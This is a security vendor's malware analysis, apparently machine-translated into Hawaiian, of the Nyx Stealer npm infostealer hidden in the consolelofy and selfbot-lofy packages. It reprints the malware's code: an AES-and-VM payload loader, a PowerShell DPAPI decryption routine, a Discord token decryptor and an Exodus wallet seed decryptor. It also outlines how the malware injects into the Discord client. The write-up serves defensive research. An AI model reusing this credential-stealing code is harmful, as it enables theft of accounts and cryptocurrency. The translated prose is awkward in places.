ʻIke ʻaihue npm

ʻIke hou ʻia ʻo npm Infostealer: Ua hoʻopaʻa ʻo Nyx Stealer i nā hālāwai Discord

Aku; DR

ʻO ka Hui Noiʻi Palekana Xygeni ua ʻike i kahi hoʻolaha infostealer npm paʻakikī i hāʻawi ʻia ma o ʻelua mau pūʻolo ʻino: consolelofy a selfbot-lofy.

ʻO ka mana hou loa (consolelofy@1.3.0) hoʻokomo i kahi ukana i hoʻopāʻālua ʻia e 216KB AES e wehe ana i ka wā holo a hoʻokō ma o vm.runInNewContext()Ma muli o ka hoʻopāʻālua piha ʻia ʻana o ka logic ʻino, ʻaʻole hiki i nā scanner static e hilinaʻi nei i ka nānā ʻana i ke kaula ke nānā i kāna hana a hiki i ka manawa hoʻokō.

Ke wehe ʻia ka wehewehe ʻana, ka ukana, i hōʻailona ʻia i loko ʻO Nyx Stealer, nā pahuhopu:

  • Nā hōʻailona hōʻoia Discord
  • 50+ mau hale kūʻai hōʻoia polokalamu kele pūnaewele
  • 90+ mau hoʻonui ʻeke kālā cryptocurrency
  • Nā hālāwai ʻo Roblox, Instagram, Spotify, Steam, Telegram, a me TikTok
  • Hoʻomau ka paʻa ʻana o ka mea kūʻai aku papapihi Discord

Ua hōʻike ʻia a ua hōʻoia ʻia he ʻino nā mana he 20 ma nā pūʻolo ʻelua.

ʻIke loea o kēia npm Infostealer

ʻAʻole e like me ka polokalamu kamepiula manawa hoʻonohonoho kuʻuna, hilinaʻi kēia hoʻolaha ma kahi Runtime kumu hoʻohālike wehe ʻikepili.

Aia:

  • ʻAʻohe hana ʻino preinstall or postinstall hooks
  • ʻAʻohe kāhea pūnaewele maopopo i ka manawa hoʻokomo
  • ʻAʻohe loina hōʻiliʻili palapala hōʻoia maʻalahi

Hoʻāla ʻia ka ukana ke lawe ʻia mai ka module. Hoʻopāʻālua ʻia ke kino ʻino holoʻokoʻa a hōʻike wale ʻia i loko o ka hoʻomanaʻo i ka wā holo.

Pale aku kēia hoʻolālā i ka ʻike ʻia ʻana i ka wā o ke kau ʻana o ka pūʻolo.

Pehea e hoʻokō maoli ai kēia npm Infostealer

Ma mua o ka nānā ʻana i nā mea a Nyx Stealer i ʻaihue ai, pono mākou e hoʻomaopopo pehea e hoʻokō ai.

Ke hahai nei ke ʻano hana ʻino i loko o kēia npm infostealer i kahi ʻano kūlike:

Hoʻopau kahi mea hoʻouka liʻiliʻi i kahi ukana i hoʻopāʻālua ʻia nui a hoʻokō iā ia me ka ikaika i loko o kahi pōʻaiapili Node.js VM.

He mea i manaʻo ʻia kēia hoʻolālā. ʻAʻole hūnā ka mea hoʻouka i ka hana ma hope o ka obfuscation wale nō, ʻo lākou wehe loa i ke code ʻino mai ka ʻike paʻa.

Kumu Hoʻokō Pae Kiʻekiʻe

Ma kahi pae kiʻekiʻe, hana ka ʻōwili i ʻehā mau mea:

  • Loaʻa i kahi kī AES mai kahi ʻōlelo huna paʻa e hoʻohana ana iā SHA-256
  • Wehewehe i kahi ciphertext hex-encoded nui me ka hoʻohana ʻana iā AES-256-CBC
  • Hoʻokō i ka JavaScript i wehe ʻia me ka hoʻohana ʻana vm.runInNewContext()
  • Hāʻawi i kahi pahu one e hōʻike mau ana i nā primitives runtime ikaika

Hōʻuluʻulu Manaʻo Koʻikoʻi

ke keʻena Hoʻonohonoho / Waiwai
Algorithm AES-256-CBC
Ka Hoʻopuka Kiʻi SHA-256 (huaʻōlelo huna)
Vector Hoʻomaka (IV) 16 bytes o 0x00
hooko vm.runInNewContext(decrypted, onebox)

ʻO ke koʻikoʻi, hele ka pahu one ma o:

  • require
  • process
  • Buffer
  • nā manawa
  • hoʻokuʻu aku i nā modula

ʻO ke ʻano kēia, mālama ka ukana i wehe ʻia i ka mana piha e:

  • Nā kaʻina hana hoʻoulu
  • Heluhelu a kākau i nā faila
  • E hana i nā kelepona pūnaewele
  • Hoʻololi i nā polokalamu kūloko

ʻAʻole kēia he VM i kaupalena ʻia. He VM ia i hoʻohana ʻia ma ke ʻano he trampoline hoʻokō.

ʻAno Hoʻopāʻālua Runtime (ʻAno Hoʻokō Koʻikoʻi)

He liʻiliʻi ka mea hoʻouka.
ʻAʻole ke kino ʻino.

Aia ma lalo ke ʻano hoʻokō i loaʻa i loko o ka pūʻolo:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

No ke aha keia

ʻO ka ukana i wehe ʻia:

  • hana aole aia ma ka plaintext i loko o ka pūʻolo npm
  • ʻIke ʻole ʻia e ka mea maʻalahi grep a i ʻole ke nānā ʻana i ke kaula paʻa
  • Hoʻopuka wale ʻia i loko o ka hoʻomanaʻo i ka wā e holo ai
  • Hoʻokō me nā hiki piha o ka Node runtime

ʻO kēia hui pū ʻana o ka hoʻokō ʻana o AES + VM he hōʻailona hana ikaika ia o kahi ʻO ka mea ʻaihue ʻike npm e hoʻāʻo nei e pale i ka nānā ʻana i ka static.

I nā huaʻōlelo ʻē aʻe:

Inā ʻoe e scan i ka lāʻau kumu pūʻolo, ʻaʻole ʻoe e ʻike i kahi mea ʻaihue.
Ke ʻike nei ʻoe i kahi mea hoʻopololei.

He aha ka mea e hana ʻia ma hope o ka wehe ʻana

Ke hoʻokō ʻia, hoʻokuʻu ʻo Nyx Stealer i nā nalu hōʻiliʻili ʻikepili like.

Nalu 1: Ka wehe ʻana i nā palapala hōʻoia o ka polokalamu kele pūnaewele

ʻO ka polokalamu ʻino:

  • Hoʻoiho i kahi manawa holo Python mai NuGet CDN
  • Hoʻokomo i nā waihona puke cryptographic
  • Hoʻopuka i nā hale kūʻai hōʻoia e pili ana i ka Chromium
  • Wehewehe i nā mea huna i pale ʻia e DPAPI

Ma kahi o ka hōʻuluʻulu ʻana i nā nakinaki maoli, hoʻohana ia iā PowerShell e kāhea pololei iā Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

ʻO kēia ala:

  • Hōʻalo i nā mea hana hōʻuluʻulu
  • Hoʻohana i nā API crypto Windows maoli
  • Hoʻohui ʻia i loko o nā mea hana hoʻomalu

He wehewehe ʻana i nā palapala hōʻoia pae OS, ʻaʻole ia he scraping.

Nalu 2: Wehewehe ʻana i ka hōʻailona Discord

Ua ʻike ka mea ʻaihue i ke kaʻina hana. Hoʻomaopopo ia i ke ʻano hōʻailona i hoʻopāʻālua ʻia o Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Kahe hana:

  • E wehe i ke kī nui mai Discord Local State
  • Wehewehe i ke kī nui ma o DPAPI
  • Wehewehe i nā ʻāpana hōʻailona AES-GCM
  • E hōʻoia i nā hōʻailona e kūʻē i ka Discord API
  • Hoʻonui me Nitro, nā hōʻailona, ​​​​ʻike bila

ʻAʻole kēia he hoʻolei palapala hōʻoia maʻamau. He hijacking session ia e ʻike ʻia ana e ka protocol.

Nalu 3: Ke Kuhikuhi ʻana i ka ʻeke kālā Cryptocurrency

Ua helu ka npm infostealer:

  • 90+ mau hoʻonui ʻeke kālā polokalamu kele pūnaewele
  • 27 mau ʻeke kālā pākaukau
  • Nā ala ʻeke kālā anu
  • Nā faila hua Exodus

Laʻana o ka hoʻāʻo wehe hua:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Inā holomua, hiki koke ka hoʻopilikia ʻana i ka ʻeke kālā a hiki ke hoʻihoʻi ʻia.

Hōʻike kēia i ke vector monetization waiwai nui loa o ka hoʻolaha.

Ke hoʻomau nei ma o ka Discord Desktop Injection

Ma hope o ka hōʻiliʻili ʻana i nā palapala hōʻoia, hoʻāʻo ʻo Nyx Stealer i ke kūpaʻa ma ka hoʻololi ʻana i ke kūloko Ka wehewehe Customer.

Manaʻo:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Kaʻina hana

Hana ka mea ʻaihue ʻike i kēia mau hana:

  • Hoʻopau i ka holo ʻana o nā kaʻina hana Discord
  • Ke ʻimi nei i nā ʻano Discord i hoʻokomo ʻia (Stable, Canary, PTB)
  • Kākau hou discord_desktop_core/index.js
  • Hoʻokomo i ka logic webhook i kāohi ʻia e ka mea hoʻouka
  • Hoʻomaka hou ʻo Discord

Hōʻoia kēia e hoʻokahe koke nā hālāwai Discord e hiki mai ana i nā hōʻailona hōʻoia hou.

ʻO ka mea nui, ʻaʻole hilinaʻi kēia hoʻomau ʻana i nā hana i hoʻonohonoho ʻia a i ʻole nā ​​​​hoʻololi ʻana i ka papa inoa. Hoʻohana ia i ka hoʻololi ʻana i ke code pae noi, kahi ala malū.

ʻOiai inā e wehe ʻia ka pūʻolo npm ʻino ma hope, e hoʻopilikia ʻia ka mea kūʻai aku ʻo Discord.

Hoʻohālikelike ʻenehana: Legitimate Selfbot vs npm Infostealer

ke keʻena Hale Waihona Puke Kūpono ʻO Nyx npm Infosteler
AES None Ukana piha i hoʻopāʻālua ʻia e AES
VM Manawa Holo ʻAʻole makemakeʻia vm.runInNewContext hopena
Loaʻa Palapala API Discord wale nō Kele pūnaewele, nā ʻeke kālā, DPAPI
Nā Hoʻoiho Waho ʻAʻole Ka holo ʻana o Python ma o NuGet
Ka hoʻomau ʻAʻole Hoʻokomo ʻana o ka mea kūʻai aku Discord
hana hoʻonui kālā Hana hoʻopaʻa ʻakomi bot Ke kūʻai hou ʻana i nā palapala hōʻoia

ʻO ka papa hoʻopāʻālua wale nō ke hoʻokaʻawale nei i kēia hoʻolaha mai kahi ʻōpuʻu open-source maʻamau.

ʻAʻohe kumu o kahi Discord selfbot kūpono e hoʻopāʻālua i kāna codebase holoʻokoʻa, e hoʻopuka iā PowerShell e komo i ka DPAPI, hoʻoiho i nā runtimes waho, a hoʻololi paha i nā internals o ka noi pākaukau. Ke ʻike ʻia kēlā mau hiki i loko o kahi hilinaʻi e koi ana e hoʻokele pono i nā pilina Discord, hiki ʻole ke hoʻowahāwahā ʻia ka mismatch architecture.

Mai kahi kuanaʻike noiʻi, waiho kēia npm infostealer i nā kaha ma nā papa he nui. Eia nō naʻe, ʻaʻole nā ​​URL paʻa a i ʻole nā ​​ala faila kikoʻī nā hōʻailona hilinaʻi loa, ʻoiai hiki ke loli kēlā mau mea ma waena o nā mana. Akā, he ʻano kūkulu nā hōʻailona paʻa.

Ma ka pae pūʻolo, ʻo ka hae ʻulaʻula ikaika loa ka hui pū ʻana o kahi ukana i hoʻopāʻālua nui ʻia a me kahi ʻōwili decryption runtime e hoʻokō koke ʻia ma o vm.runInNewContext()ʻOiai ʻaʻole ia he mea ʻino maoli ka hoʻopāʻālua wale nō, ʻo ka hoʻohana ʻana i ka decryption AES a ukali ʻia e ka hoʻokō VM dynamic i loko o kahi pūʻolo pono Discord he mea ʻano ʻē loa ia.

Ma ka pae kikowaena, ʻo nā ʻano kānalua e komo pū me ka hana decryption DPAPI i manaʻo ʻole ʻia, ka hoʻoulu ʻana o ke kaʻina hana mai kahi pōʻaiapili hilinaʻi Node.js, a me ka hoʻololi ʻana i nā faila noi kūloko ʻaʻole pono e hoʻololi ʻia e nā hale waihona puke ʻaoʻao ʻekolu. Pēlā nō, ma ka papa pūnaewele, ʻo ke kamaʻilio ʻana ma ke ʻano webhook i hoʻomaka ʻia e kahi hilinaʻi hoʻomohala e hōʻike ana i kahi anomaly koʻikoʻi ʻē aʻe.

I nā huaʻōlelo ʻē aʻe, ʻaʻole ka ʻili ʻike he hōʻailona hoʻokahi o ka hoʻopilikia ʻana. ʻO ka pilina o ka hoʻopāʻālua, ka hoʻokō ʻana i ka manawa holo, ke komo ʻana i nā palapala hōʻoia, a me ke ʻano hoʻomau e hōʻike ana i ka hoʻoweliweli.

Ka ʻike ʻana a me ka hoʻēmi ʻana me Xygeni

ʻIke ʻaihue npm

Ua ʻike ʻia kēia mea ʻaihue ʻike npm e ʻŌlelo Aʻo Mua o ka Malware a Xygeni (MEW) ma o ka pilina hana papa ma mua o ka hoʻohālikelike pūlima maʻalahi.

Ma kahi o ka ʻimi ʻana i nā kaula ʻino i ʻike ʻia, loiloi ʻo MEW i nā ʻano ʻano like ʻole o ke ʻano ma waena o ka lāʻau kumu piha. I kēia hihia, ua puka mai ka ʻike ʻana mai ka hui ʻana o kekahi mau hōʻailona: kahi hana hoʻopau AES i hoʻokomo ʻia i loko o ke kiko komo module, ka hoʻokō koke ʻana i loko o kahi pōʻaiapili VM, a me kahi kūlike maopopo o ka hiki ke hana i ka manaʻo.

ʻO ka mea nui, ʻaʻohe o kēia mau hōʻailona wale nō e hōʻike i ka manaʻo ʻino. Eia nō naʻe, i ka wā e kālailai pū ʻia ai, hōʻike lākou i kahi hoʻāʻo e hūnā i ke ʻano o ka runtime. Hoʻemi nui kēia ʻano papa i nā hopena wahaheʻe me ka ʻike ʻana i nā hoʻoweliweli kaulahao lako hilinaʻi kiʻekiʻe.

Eia kekahi, hōʻike kēia hihia i ke kumu i lawa ʻole ai ka nānā ʻana i ka manawa hoʻonohonoho wale nō. ʻAʻole noho ka logic ʻino i loko o nā script lifecycle. Hoʻāla wale ia ma hope o ka hoʻouka ʻana o ka module a ʻike wale ʻia ke wehe ʻia i ka hoʻomanaʻo. No laila, pono ka pale maikaʻi i ka nānā ʻana i ka ʻike hoʻopāʻālua, ka ʻike ʻana i ke ʻano o ka hana, a me ka nānā mau ʻana i ka hilinaʻi ma mua o nā hanana hoʻonohonoho.

He pane koke ka wehe ʻana o ka papa inoa. He mea pale ka nānā ʻana i ka Runtime-awareness.

No ke aha he mea nui kēia npm Infostealer

Hōʻike ʻo Nyx Stealer i kahi ulu ʻana o ke ʻano i loko o ka polokalamu ʻino npm.

I ka wā ma mua, ua hilinaʻi ka nui o nā pūʻolo ʻino i nā palapala manawa hoʻonohonoho i ʻike ʻia a i ʻole nā ​​​​​​kikowaena exfiltration hōʻoia maopopo. I ka hoʻohālikelike ʻana, hoʻopāʻālua kēia hoʻolaha i kāna ukana, hoʻopanee i ka hoʻokō ʻana i ka manawa holo, hoʻohana i nā API ʻōnaehana hana kūpono, a hoʻokumu i ka hoʻomau i loko o nā noi hilinaʻi.

No laila, ʻaʻole pono ka mea hoʻouka e hoʻohana i ka ʻōnaehana npm ponoʻī. Akā, ua holomua ka hoʻouka ʻana no ka mea ʻo ke kau ʻana o ka hilinaʻi e hōʻike ana i ka hilinaʻi. Manaʻo nā mea hoʻomohala he hana palekana ka lawe ʻana mai i kahi waihona puke, ʻoiai ke hōʻike ʻia nei ia he ʻōpuʻu kūpono o kahi mea hana kaulana.

I ka hoʻomau ʻana o ka ulu ʻana o nā kaiaolaola a me ka hoʻonui ʻana o nā forks, lilo kēlā palena hilinaʻi i mea hoʻouka kaua hoihoi. No laila, ʻo ka pale ʻana i nā npm infostealers hou e pono ai ka ʻike ʻana i nā ʻano hoʻolālā ma mua o ka ʻimi ʻana i nā kaula static.

I ka hopena, hoʻoikaika kēia hoʻolaha i kahi haʻawina koʻikoʻi i software supply chain securityʻO nā hoʻoweliweli weliweli loa ʻaʻole ia nā mea e like me ka ʻino i ka nānā mua ʻana, akā ʻo nā mea i ʻike ʻia he kūpono a hiki i ka wā e hōʻike ai ka runtime i kā lākou ʻano maoli.

nā mea hana-sca-tools-software-analysis-composition
E hoʻonohonoho i ka mea nui, hoʻoponopono, a hoʻopaʻa i kāu mau pilikia polokalamu
E kiʻi i kāu moʻokāki manuahi.
ʻAʻole koi ʻia kahi kāleka hōʻaiʻē.

E hoʻopaʻa i kāu Hoʻomohala Polokalamu a me ka Hoʻouna ʻana

me ka Xygeni Product Suite